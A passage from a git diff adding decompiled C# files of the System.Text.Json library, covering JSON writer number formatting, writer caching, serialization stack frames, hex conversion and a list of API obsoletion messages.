WriteNumberValueAsStringUnescaped(ReadOnlySpan utf8Value) + { + WriteStringByOptions(utf8Value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + [CLSCompliant(false)] + public void WriteNumberValue(uint value) + { + WriteNumberValue((ulong)value); + } + + [CLSCompliant(false)] + public void WriteNumberValue(ulong value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteNumberValueIndented(value); + } + else + { + WriteNumberValueMinimized(value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberValueMinimized(ulong value) + { + int num = 21; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberValueIndented(ulong value) + { + int indentation = Indentation; + int num = indentation + 20 + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + internal void WriteNumberValueAsString(ulong value) + { + Span destination = stackalloc byte[20]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten); + WriteNumberValueAsStringUnescaped(destination.Slice(0, bytesWritten)); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonWriterCache.cs b/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonWriterCache.cs new file mode 100644 index 0000000..cb61d8b --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonWriterCache.cs @@ -0,0 +1,72 @@ +namespace System.Text.Json; + +internal static class Utf8JsonWriterCache +{ + private sealed class ThreadLocalState + { + public readonly PooledByteBufferWriter BufferWriter; + + public readonly Utf8JsonWriter Writer; + + public int RentedWriters; + + public ThreadLocalState() + { + BufferWriter = PooledByteBufferWriter.CreateEmptyInstanceForCaching(); + Writer = Utf8JsonWriter.CreateEmptyInstanceForCaching(); + } + } + + [ThreadStatic] + private static ThreadLocalState t_threadLocalState; + + public static Utf8JsonWriter RentWriterAndBuffer(JsonSerializerOptions options, out PooledByteBufferWriter bufferWriter) + { + ThreadLocalState threadLocalState = t_threadLocalState ?? (t_threadLocalState = new ThreadLocalState()); + Utf8JsonWriter utf8JsonWriter; + if (threadLocalState.RentedWriters++ == 0) + { + bufferWriter = threadLocalState.BufferWriter; + utf8JsonWriter = threadLocalState.Writer; + bufferWriter.InitializeEmptyInstance(options.DefaultBufferSize); + utf8JsonWriter.Reset(bufferWriter, options.GetWriterOptions()); + } + else + { + bufferWriter = new PooledByteBufferWriter(options.DefaultBufferSize); + utf8JsonWriter = new Utf8JsonWriter(bufferWriter, options.GetWriterOptions()); + } + return utf8JsonWriter; + } + + public static Utf8JsonWriter RentWriter(JsonSerializerOptions options, PooledByteBufferWriter bufferWriter) + { + ThreadLocalState threadLocalState = t_threadLocalState ?? (t_threadLocalState = new ThreadLocalState()); + Utf8JsonWriter utf8JsonWriter; + if (threadLocalState.RentedWriters++ == 0) + { + utf8JsonWriter = threadLocalState.Writer; + utf8JsonWriter.Reset(bufferWriter, options.GetWriterOptions()); + } + else + { + utf8JsonWriter = new Utf8JsonWriter(bufferWriter, options.GetWriterOptions()); + } + return utf8JsonWriter; + } + + public static void ReturnWriterAndBuffer(Utf8JsonWriter writer, PooledByteBufferWriter bufferWriter) + { + ThreadLocalState threadLocalState = t_threadLocalState; + writer.ResetAllStateForCacheReuse(); + bufferWriter.ClearAndReturnBuffers(); + threadLocalState.RentedWriters--; + } + + public static void ReturnWriter(Utf8JsonWriter writer) + { + ThreadLocalState threadLocalState = t_threadLocalState; + writer.ResetAllStateForCacheReuse(); + threadLocalState.RentedWriters--; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/WriteStack.cs b/decompiled/Libraries/system.text.json/System.Text.Json/WriteStack.cs new file mode 100644 index 0000000..c013c09 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/WriteStack.cs @@ -0,0 +1,304 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.ExceptionServices; +using System.Runtime.InteropServices; +using System.Text.Json.Serialization; +using System.Text.Json.Serialization.Metadata; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json; + +[StructLayout(LayoutKind.Auto)] +[DebuggerDisplay("{DebuggerDisplay,nq}")] +internal struct WriteStack +{ + public WriteStackFrame Current; + + private WriteStackFrame[] _stack; + + private int _count; + + private int _continuationCount; + + private byte _indexOffset; + + public CancellationToken CancellationToken; + + public bool SuppressFlush; + + public Task PendingTask; + + public List CompletedAsyncDisposables; + + public int FlushThreshold; + + public ReferenceResolver ReferenceResolver; + + public bool SupportContinuation; + + public bool SupportAsync; + + public string NewReferenceId; + + public object PolymorphicTypeDiscriminator; + + public PolymorphicTypeResolver PolymorphicTypeResolver; + + public readonly int CurrentDepth => _count; + + public readonly ref WriteStackFrame Parent => ref _stack[_count - _indexOffset - 1]; + + public readonly bool IsContinuation => _continuationCount != 0; + + public readonly bool CurrentContainsMetadata + { + get + { + if (NewReferenceId == null) + { + return PolymorphicTypeDiscriminator != null; + } + return true; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"Path = {PropertyPath()} Current = ConverterStrategy.{Current.JsonPropertyInfo?.EffectiveConverter.ConverterStrategy}, {Current.JsonTypeInfo?.Type.Name}"; + + private void EnsurePushCapacity() + { + if (_stack == null) + { + _stack = new WriteStackFrame[4]; + } + else if (_count - _indexOffset == _stack.Length) + { + Array.Resize(ref _stack, 2 * _stack.Length); + } + } + + internal void Initialize(JsonTypeInfo jsonTypeInfo, object rootValueBoxed = null, bool supportContinuation = false, bool supportAsync = false) + { + Current.JsonTypeInfo = jsonTypeInfo; + Current.JsonPropertyInfo = jsonTypeInfo.PropertyInfoForTypeInfo; + Current.NumberHandling = Current.JsonPropertyInfo.EffectiveNumberHandling; + SupportContinuation = supportContinuation; + SupportAsync = supportAsync; + JsonSerializerOptions options = jsonTypeInfo.Options; + if (options.ReferenceHandlingStrategy != ReferenceHandlingStrategy.None) + { + ReferenceResolver = options.ReferenceHandler.CreateResolver(writing: true); + if (options.ReferenceHandlingStrategy == ReferenceHandlingStrategy.IgnoreCycles && rootValueBoxed != null && jsonTypeInfo.Type.IsValueType) + { + ReferenceResolver.PushReferenceForCycleDetection(rootValueBoxed); + } + } + } + + public readonly JsonTypeInfo PeekNestedJsonTypeInfo() + { + if (_count != 0) + { + return Current.JsonPropertyInfo.JsonTypeInfo; + } + return Current.JsonTypeInfo; + } + + public void Push() + { + if (_continuationCount == 0) + { + if (_count == 0 && Current.PolymorphicSerializationState == PolymorphicSerializationState.None) + { + _count = 1; + _indexOffset = 1; + return; + } + JsonTypeInfo nestedJsonTypeInfo = Current.GetNestedJsonTypeInfo(); + JsonNumberHandling? numberHandling = Current.NumberHandling; + EnsurePushCapacity(); + _stack[_count - _indexOffset] = Current; + Current = default(WriteStackFrame); + _count++; + Current.JsonTypeInfo = nestedJsonTypeInfo; + Current.JsonPropertyInfo = nestedJsonTypeInfo.PropertyInfoForTypeInfo; + Current.NumberHandling = numberHandling ?? Current.JsonPropertyInfo.EffectiveNumberHandling; + } + else + { + if (_count++ > 0 || _indexOffset == 0) + { + Current = _stack[_count - _indexOffset]; + } + if (_continuationCount == _count) + { + _continuationCount = 0; + } + } + } + + public void Pop(bool success) + { + if (!success) + { + if (_continuationCount == 0) + { + if (_count == 1 && _indexOffset > 0) + { + _continuationCount = 1; + _count = 0; + return; + } + EnsurePushCapacity(); + _continuationCount = _count--; + } + else if (--_count == 0 && _indexOffset > 0) + { + return; + } + int num = _count - _indexOffset; + _stack[num + 1] = Current; + Current = _stack[num]; + } + else if (--_count > 0 || _indexOffset == 0) + { + Current = _stack[_count - _indexOffset]; + } + } + + public void AddCompletedAsyncDisposable(IAsyncDisposable asyncDisposable) + { + (CompletedAsyncDisposables ?? (CompletedAsyncDisposables = new List())).Add(asyncDisposable); + } + + public async ValueTask DisposeCompletedAsyncDisposables() + { + Exception exception = null; + foreach (IAsyncDisposable completedAsyncDisposable in CompletedAsyncDisposables) + { + try + { + await completedAsyncDisposable.DisposeAsync().ConfigureAwait(continueOnCapturedContext: false); + } + catch (Exception ex) + { + exception = ex; + } + } + if (exception != null) + { + ExceptionDispatchInfo.Capture(exception).Throw(); + } + CompletedAsyncDisposables.Clear(); + } + + public void DisposePendingDisposablesOnException() + { + Exception exception = null; + DisposeFrame(Current.CollectionEnumerator, ref exception); + int num = Math.Max(_count, _continuationCount); + for (int i = 0; i < num - 1; i++) + { + DisposeFrame(_stack[i].CollectionEnumerator, ref exception); + } + if (exception != null) + { + ExceptionDispatchInfo.Capture(exception).Throw(); + } + static void DisposeFrame(IEnumerator collectionEnumerator, ref Exception reference) + { + try + { + if (collectionEnumerator is IDisposable disposable) + { + disposable.Dispose(); + } + } + catch (Exception ex) + { + reference = ex; + } + } + } + + public async ValueTask DisposePendingDisposablesOnExceptionAsync() + { + Exception exception = null; + exception = await DisposeFrame(Current.CollectionEnumerator, Current.AsyncDisposable, exception).ConfigureAwait(continueOnCapturedContext: false); + int stackSize = Math.Max(_count, _continuationCount); + for (int i = 0; i < stackSize - 1; i++) + { + exception = await DisposeFrame(_stack[i].CollectionEnumerator, _stack[i].AsyncDisposable, exception).ConfigureAwait(continueOnCapturedContext: false); + } + if (exception != null) + { + ExceptionDispatchInfo.Capture(exception).Throw(); + } + static async ValueTask DisposeFrame(IEnumerator collectionEnumerator, IAsyncDisposable asyncDisposable, Exception result) + { + try + { + if (collectionEnumerator is IDisposable disposable) + { + disposable.Dispose(); + } + else if (asyncDisposable != null) + { + await asyncDisposable.DisposeAsync().ConfigureAwait(continueOnCapturedContext: false); + } + } + catch (Exception ex) + { + result = ex; + } + return result; + } + } + + public string PropertyPath() + { + StringBuilder stringBuilder = new StringBuilder("$"); + int continuationCount = _continuationCount; + (int, bool) tuple = continuationCount switch + { + 0 => (_count - 1, true), + 1 => (0, true), + _ => (continuationCount, false), + }; + int item = tuple.Item1; + bool item2 = tuple.Item2; + for (int i = 1; i <= item; i++) + { + AppendStackFrame(stringBuilder, ref _stack[i - _indexOffset]); + } + if (item2) + { + AppendStackFrame(stringBuilder, ref Current); + } + return stringBuilder.ToString(); + static void AppendPropertyName(StringBuilder sb, string propertyName) + { + if (propertyName != null) + { + if (propertyName.AsSpan().ContainsSpecialCharacters()) + { + sb.Append("['"); + sb.Append(propertyName); + sb.Append("']"); + } + else + { + sb.Append('.'); + sb.Append(propertyName); + } + } + } + static void AppendStackFrame(StringBuilder sb, ref WriteStackFrame frame) + { + string propertyName = frame.JsonPropertyInfo?.MemberName ?? frame.JsonPropertyNameAsString; + AppendPropertyName(sb, propertyName); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/WriteStackFrame.cs b/decompiled/Libraries/system.text.json/System.Text.Json/WriteStackFrame.cs new file mode 100644 index 0000000..d1d9440 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/WriteStackFrame.cs @@ -0,0 +1,106 @@ +using System.Collections; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text.Json.Serialization; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json; + +[StructLayout(LayoutKind.Auto)] +[DebuggerDisplay("{DebuggerDisplay,nq}")] +internal struct WriteStackFrame +{ + public IEnumerator CollectionEnumerator; + + public IAsyncDisposable AsyncDisposable; + + public bool AsyncEnumeratorIsPendingCompletion; + + public JsonPropertyInfo JsonPropertyInfo; + + public bool IsWritingExtensionDataProperty; + + public JsonTypeInfo JsonTypeInfo; + + public int OriginalDepth; + + public bool ProcessedStartToken; + + public bool ProcessedEndToken; + + public StackFramePropertyState PropertyState; + + public int EnumeratorIndex; + + public string JsonPropertyNameAsString; + + public MetadataPropertyName MetadataPropertyName; + + public PolymorphicSerializationState PolymorphicSerializationState; + + public JsonTypeInfo PolymorphicTypeInfo; + + public JsonNumberHandling? NumberHandling; + + public bool IsPushedReferenceForCycleDetection; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private readonly string DebuggerDisplay => $"ConverterStrategy.{JsonTypeInfo?.Converter.ConverterStrategy}, {JsonTypeInfo?.Type.Name}"; + + public void EndCollectionElement() + { + PolymorphicSerializationState = PolymorphicSerializationState.None; + } + + public void EndDictionaryEntry() + { + PropertyState = StackFramePropertyState.None; + PolymorphicSerializationState = PolymorphicSerializationState.None; + } + + public void EndProperty() + { + JsonPropertyInfo = null; + JsonPropertyNameAsString = null; + PropertyState = StackFramePropertyState.None; + PolymorphicSerializationState = PolymorphicSerializationState.None; + } + + public readonly JsonTypeInfo GetNestedJsonTypeInfo() + { + if (PolymorphicSerializationState != PolymorphicSerializationState.PolymorphicReEntryStarted) + { + return JsonPropertyInfo.JsonTypeInfo; + } + return PolymorphicTypeInfo; + } + + public JsonTypeInfo InitializePolymorphicReEntry(Type runtimeType, JsonSerializerOptions options) + { + if (PolymorphicTypeInfo?.Type != runtimeType) + { + JsonTypeInfo typeInfoInternal = options.GetTypeInfoInternal(runtimeType, ensureConfigured: true, true, resolveIfMutable: false, fallBackToNearestAncestorType: true); + PolymorphicTypeInfo = typeInfoInternal.AncestorPolymorphicType ?? typeInfoInternal; + } + PolymorphicSerializationState = PolymorphicSerializationState.PolymorphicReEntryStarted; + return PolymorphicTypeInfo; + } + + public JsonConverter InitializePolymorphicReEntry(JsonTypeInfo derivedJsonTypeInfo) + { + PolymorphicTypeInfo = derivedJsonTypeInfo; + PolymorphicSerializationState = PolymorphicSerializationState.PolymorphicReEntryStarted; + return derivedJsonTypeInfo.Converter; + } + + public JsonConverter ResumePolymorphicReEntry() + { + PolymorphicSerializationState = PolymorphicSerializationState.PolymorphicReEntryStarted; + return PolymorphicTypeInfo.Converter; + } + + public void ExitPolymorphicConverter(bool success) + { + PolymorphicSerializationState = ((!success) ? PolymorphicSerializationState.PolymorphicReEntrySuspended : PolymorphicSerializationState.None); + } +} diff --git a/decompiled/Libraries/system.text.json/System/HexConverter.cs b/decompiled/Libraries/system.text.json/System/HexConverter.cs new file mode 100644 index 0000000..604f4de --- /dev/null +++ b/decompiled/Libraries/system.text.json/System/HexConverter.cs @@ -0,0 +1,219 @@ +using System.Runtime.CompilerServices; + +namespace System; + +internal static class HexConverter +{ + public enum Casing : uint + { + Upper = 0u, + Lower = 8224u + } + + public static ReadOnlySpan CharToHexLookup => new byte[256] + { + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 0, 1, + 2, 3, 4, 5, 6, 7, 8, 9, 255, 255, + 255, 255, 255, 255, 255, 10, 11, 12, 13, 14, + 15, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 10, 11, 12, + 13, 14, 15, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255 + }; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ToBytesBuffer(byte value, Span buffer, int startingIndex = 0, Casing casing = Casing.Upper) + { + uint num = (uint)(((value & 0xF0) << 4) + (value & 0xF) - 35209); + uint num2 = ((((0 - num) & 0x7070) >> 4) + num + 47545) | (uint)casing; + buffer[startingIndex + 1] = (byte)num2; + buffer[startingIndex] = (byte)(num2 >> 8); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ToCharsBuffer(byte value, Span buffer, int startingIndex = 0, Casing casing = Casing.Upper) + { + uint num = (uint)(((value & 0xF0) << 4) + (value & 0xF) - 35209); + uint num2 = ((((0 - num) & 0x7070) >> 4) + num + 47545) | (uint)casing; + buffer[startingIndex + 1] = (char)(num2 & 0xFF); + buffer[startingIndex] = (char)(num2 >> 8); + } + + public static void EncodeToUtf16(ReadOnlySpan bytes, Span chars, Casing casing = Casing.Upper) + { + for (int i = 0; i < bytes.Length; i++) + { + ToCharsBuffer(bytes[i], chars, i * 2, casing); + } + } + + public static string ToString(ReadOnlySpan bytes, Casing casing = Casing.Upper) + { + Span span = ((bytes.Length <= 16) ? stackalloc char[bytes.Length * 2] : new char[bytes.Length * 2].AsSpan()); + Span buffer = span; + int num = 0; + ReadOnlySpan readOnlySpan = bytes; + for (int i = 0; i < readOnlySpan.Length; i++) + { + byte value = readOnlySpan[i]; + ToCharsBuffer(value, buffer, num, casing); + num += 2; + } + return buffer.ToString(); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static char ToCharUpper(int value) + { + value &= 0xF; + value += 48; + if (value > 57) + { + value += 7; + } + return (char)value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static char ToCharLower(int value) + { + value &= 0xF; + value += 48; + if (value > 57) + { + value += 39; + } + return (char)value; + } + + public static bool TryDecodeFromUtf16(ReadOnlySpan chars, Span bytes) + { + int charsProcessed; + return TryDecodeFromUtf16(chars, bytes, out charsProcessed); + } + + public static bool TryDecodeFromUtf16(ReadOnlySpan chars, Span bytes, out int charsProcessed) + { + int num = 0; + int num2 = 0; + int num3 = 0; + int num4 = 0; + while (num2 < bytes.Length) + { + num3 = FromChar(chars[num + 1]); + num4 = FromChar(chars[num]); + if ((num3 | num4) == 255) + { + break; + } + bytes[num2++] = (byte)((num4 << 4) | num3); + num += 2; + } + if (num3 == 255) + { + num++; + } + charsProcessed = num; + return (num3 | num4) != 255; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int FromChar(int c) + { + if (c < CharToHexLookup.Length) + { + return CharToHexLookup[c]; + } + return 255; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int FromUpperChar(int c) + { + if (c <= 71) + { + return CharToHexLookup[c]; + } + return 255; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int FromLowerChar(int c) + { + switch (c) + { + case 48: + case 49: + case 50: + case 51: + case 52: + case 53: + case 54: + case 55: + case 56: + case 57: + return c - 48; + case 97: + case 98: + case 99: + case 100: + case 101: + case 102: + return c - 97 + 10; + default: + return 255; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsHexChar(int c) + { + if (IntPtr.Size == 8) + { + ulong num = (uint)(c - 48); + ulong num2 = (ulong)(-17875860044349952L << (int)num); + ulong num3 = num - 64; + return (long)(num2 & num3) < 0L; + } + return FromChar(c) != 255; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsHexUpperChar(int c) + { + if ((uint)(c - 48) > 9u) + { + return (uint)(c - 65) <= 5u; + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsHexLowerChar(int c) + { + if ((uint)(c - 48) > 9u) + { + return (uint)(c - 97) <= 5u; + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System/ObsoleteAttribute.cs b/decompiled/Libraries/system.text.json/System/ObsoleteAttribute.cs new file mode 100644 index 0000000..be7ede4 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System/ObsoleteAttribute.cs @@ -0,0 +1,28 @@ +namespace System; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Interface | AttributeTargets.Delegate, Inherited = false)] +internal sealed class ObsoleteAttribute : Attribute +{ + public string Message { get; } + + public bool IsError { get; } + + public string DiagnosticId { get; set; } + + public string UrlFormat { get; set; } + + public ObsoleteAttribute() + { + } + + public ObsoleteAttribute(string message) + { + Message = message; + } + + public ObsoleteAttribute(string message, bool error) + { + Message = message; + IsError = error; + } +} diff --git a/decompiled/Libraries/system.text.json/System/Obsoletions.cs b/decompiled/Libraries/system.text.json/System/Obsoletions.cs new file mode 100644 index 0000000..86ef234 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System/Obsoletions.cs @@ -0,0 +1,220 @@ +namespace System; + +internal static class Obsoletions +{ + internal const string SharedUrlFormat = "https://aka.ms/dotnet-warnings/{0}"; + + internal const string SystemTextEncodingUTF7Message = "The UTF-7 encoding is insecure and should not be used. Consider using UTF-8 instead."; + + internal const string SystemTextEncodingUTF7DiagId = "SYSLIB0001"; + + internal const string PrincipalPermissionAttributeMessage = "PrincipalPermissionAttribute is not honored by the runtime and must not be used."; + + internal const string PrincipalPermissionAttributeDiagId = "SYSLIB0002"; + + internal const string CodeAccessSecurityMessage = "Code Access Security is not supported or honored by the runtime."; + + internal const string CodeAccessSecurityDiagId = "SYSLIB0003"; + + internal const string ConstrainedExecutionRegionMessage = "The Constrained Execution Region (CER) feature is not supported."; + + internal const string ConstrainedExecutionRegionDiagId = "SYSLIB0004"; + + internal const string GlobalAssemblyCacheMessage = "The Global Assembly Cache is not supported."; + + internal const string GlobalAssemblyCacheDiagId = "SYSLIB0005"; + + internal const string ThreadAbortMessage = "Thread.Abort is not supported and throws PlatformNotSupportedException."; + + internal const string ThreadResetAbortMessage = "Thread.ResetAbort is not supported and throws PlatformNotSupportedException."; + + internal const string ThreadAbortDiagId = "SYSLIB0006"; + + internal const string DefaultCryptoAlgorithmsMessage = "The default implementation of this cryptography algorithm is not supported."; + + internal const string DefaultCryptoAlgorithmsDiagId = "SYSLIB0007"; + + internal const string CreatePdbGeneratorMessage = "The CreatePdbGenerator API is not supported and throws PlatformNotSupportedException."; + + internal const string CreatePdbGeneratorDiagId = "SYSLIB0008"; + + internal const string AuthenticationManagerMessage = "The AuthenticationManager Authenticate and PreAuthenticate methods are not supported and throw PlatformNotSupportedException."; + + internal const string AuthenticationManagerDiagId = "SYSLIB0009"; + + internal const string RemotingApisMessage = "This Remoting API is not supported and throws PlatformNotSupportedException."; + + internal const string RemotingApisDiagId = "SYSLIB0010"; + + internal const string BinaryFormatterMessage = "BinaryFormatter serialization is obsolete and should not be used. See https://aka.ms/binaryformatter for more information."; + + internal const string BinaryFormatterDiagId = "SYSLIB0011"; + + internal const string CodeBaseMessage = "Assembly.CodeBase and Assembly.EscapedCodeBase are only included for .NET Framework compatibility. Use Assembly.Location instead."; + + internal const string CodeBaseDiagId = "SYSLIB0012"; + + internal const string EscapeUriStringMessage = "Uri.EscapeUriString can corrupt the Uri string in some cases. Consider using Uri.EscapeDataString for query string components instead."; + + internal const string EscapeUriStringDiagId = "SYSLIB0013"; + + internal const string WebRequestMessage = "WebRequest, HttpWebRequest, ServicePoint, and WebClient are obsolete. Use HttpClient instead."; + + internal const string WebRequestDiagId = "SYSLIB0014"; + + internal const string DisablePrivateReflectionAttributeMessage = "DisablePrivateReflectionAttribute has no effect in .NET 6.0+."; + + internal const string DisablePrivateReflectionAttributeDiagId = "SYSLIB0015"; + + internal const string GetContextInfoMessage = "Use the Graphics.GetContextInfo overloads that accept arguments for better performance and fewer allocations."; + + internal const string GetContextInfoDiagId = "SYSLIB0016"; + + internal const string StrongNameKeyPairMessage = "Strong name signing is not supported and throws PlatformNotSupportedException."; + + internal const string StrongNameKeyPairDiagId = "SYSLIB0017"; + + internal const string ReflectionOnlyLoadingMessage = "ReflectionOnly loading is not supported and throws PlatformNotSupportedException."; + + internal const string ReflectionOnlyLoadingDiagId = "SYSLIB0018"; + + internal const string RuntimeEnvironmentMessage = "RuntimeEnvironment members SystemConfigurationFile, GetRuntimeInterfaceAsIntPtr, and GetRuntimeInterfaceAsObject are not supported and throw PlatformNotSupportedException."; + + internal const string RuntimeEnvironmentDiagId = "SYSLIB0019"; + + internal const string JsonSerializerOptionsIgnoreNullValuesMessage = "JsonSerializerOptions.IgnoreNullValues is obsolete. To ignore null values when serializing, set DefaultIgnoreCondition to JsonIgnoreCondition.WhenWritingNull."; + + internal const string JsonSerializerOptionsIgnoreNullValuesDiagId = "SYSLIB0020"; + + internal const string DerivedCryptographicTypesMessage = "Derived cryptographic types are obsolete. Use the Create method on the base type instead."; + + internal const string DerivedCryptographicTypesDiagId = "SYSLIB0021"; + + internal const string RijndaelMessage = "The Rijndael and RijndaelManaged types are obsolete. Use Aes instead."; + + internal const string RijndaelDiagId = "SYSLIB0022"; + + internal const string RNGCryptoServiceProviderMessage = "RNGCryptoServiceProvider is obsolete. To generate a random number, use one of the RandomNumberGenerator static methods instead."; + + internal const string RNGCryptoServiceProviderDiagId = "SYSLIB0023"; + + internal const string AppDomainCreateUnloadMessage = "Creating and unloading AppDomains is not supported and throws an exception."; + + internal const string AppDomainCreateUnloadDiagId = "SYSLIB0024"; + + internal const string SuppressIldasmAttributeMessage = "SuppressIldasmAttribute has no effect in .NET 6.0+."; + + internal const string SuppressIldasmAttributeDiagId = "SYSLIB0025"; + + internal const string X509CertificateImmutableMessage = "X509Certificate and X509Certificate2 are immutable. Use the appropriate constructor to create a new certificate."; + + internal const string X509CertificateImmutableDiagId = "SYSLIB0026"; + + internal const string PublicKeyPropertyMessage = "PublicKey.Key is obsolete. Use the appropriate method to get the public key, such as GetRSAPublicKey."; + + internal const string PublicKeyPropertyDiagId = "SYSLIB0027"; + + internal const string X509CertificatePrivateKeyMessage = "X509Certificate2.PrivateKey is obsolete. Use the appropriate method to get the private key, such as GetRSAPrivateKey, or use the CopyWithPrivateKey method to create a new instance with a private key."; + + internal const string X509CertificatePrivateKeyDiagId = "SYSLIB0028"; + + internal const string ProduceLegacyHmacValuesMessage = "ProduceLegacyHmacValues is obsolete. Producing legacy HMAC values is not supported."; + + internal const string ProduceLegacyHmacValuesDiagId = "SYSLIB0029"; + + internal const string UseManagedSha1Message = "HMACSHA1 always uses the algorithm implementation provided by the platform. Use a constructor without the useManagedSha1 parameter."; + + internal const string UseManagedSha1DiagId = "SYSLIB0030"; + + internal const string CryptoConfigEncodeOIDMessage = "EncodeOID is obsolete. Use the ASN.1 functionality provided in System.Formats.Asn1."; + + internal const string CryptoConfigEncodeOIDDiagId = "SYSLIB0031"; + + internal const string CorruptedStateRecoveryMessage = "Recovery from corrupted process state exceptions is not supported; HandleProcessCorruptedStateExceptionsAttribute is ignored."; + + internal const string CorruptedStateRecoveryDiagId = "SYSLIB0032"; + + internal const string Rfc2898CryptDeriveKeyMessage = "Rfc2898DeriveBytes.CryptDeriveKey is obsolete and is not supported. Use PasswordDeriveBytes.CryptDeriveKey instead."; + + internal const string Rfc2898CryptDeriveKeyDiagId = "SYSLIB0033"; + + internal const string CmsSignerCspParamsCtorMessage = "CmsSigner(CspParameters) is obsolete and is not supported. Use an alternative constructor instead."; + + internal const string CmsSignerCspParamsCtorDiagId = "SYSLIB0034"; + + internal const string SignerInfoCounterSigMessage = "ComputeCounterSignature without specifying a CmsSigner is obsolete and is not supported. Use the overload that accepts a CmsSigner."; + + internal const string SignerInfoCounterSigDiagId = "SYSLIB0035"; + + internal const string RegexCompileToAssemblyMessage = "Regex.CompileToAssembly is obsolete and not supported. Use the GeneratedRegexAttribute with the regular expression source generator instead."; + + internal const string RegexCompileToAssemblyDiagId = "SYSLIB0036"; + + internal const string AssemblyNameMembersMessage = "AssemblyName members HashAlgorithm, ProcessorArchitecture, and VersionCompatibility are obsolete and not supported."; + + internal const string AssemblyNameMembersDiagId = "SYSLIB0037"; + + internal const string SystemDataSerializationFormatBinaryMessage = "SerializationFormat.Binary is obsolete and should not be used. See https://aka.ms/serializationformat-binary-obsolete for more information."; + + internal const string SystemDataSerializationFormatBinaryDiagId = "SYSLIB0038"; + + internal const string TlsVersion10and11Message = "TLS versions 1.0 and 1.1 have known vulnerabilities and are not recommended. Use a newer TLS version instead, or use SslProtocols.None to defer to OS defaults."; + + internal const string TlsVersion10and11DiagId = "SYSLIB0039"; + + internal const string EncryptionPolicyMessage = "EncryptionPolicy.NoEncryption and AllowEncryption significantly reduce security and should not be used in production code."; + + internal const string EncryptionPolicyDiagId = "SYSLIB0040"; + + internal const string Rfc2898OutdatedCtorMessage = "The default hash algorithm and iteration counts in Rfc2898DeriveBytes constructors are outdated and insecure. Use a constructor that accepts the hash algorithm and the number of iterations."; + + internal const string Rfc2898OutdatedCtorDiagId = "SYSLIB0041"; + + internal const string EccXmlExportImportMessage = "ToXmlString and FromXmlString have no implementation for ECC types, and are obsolete. Use 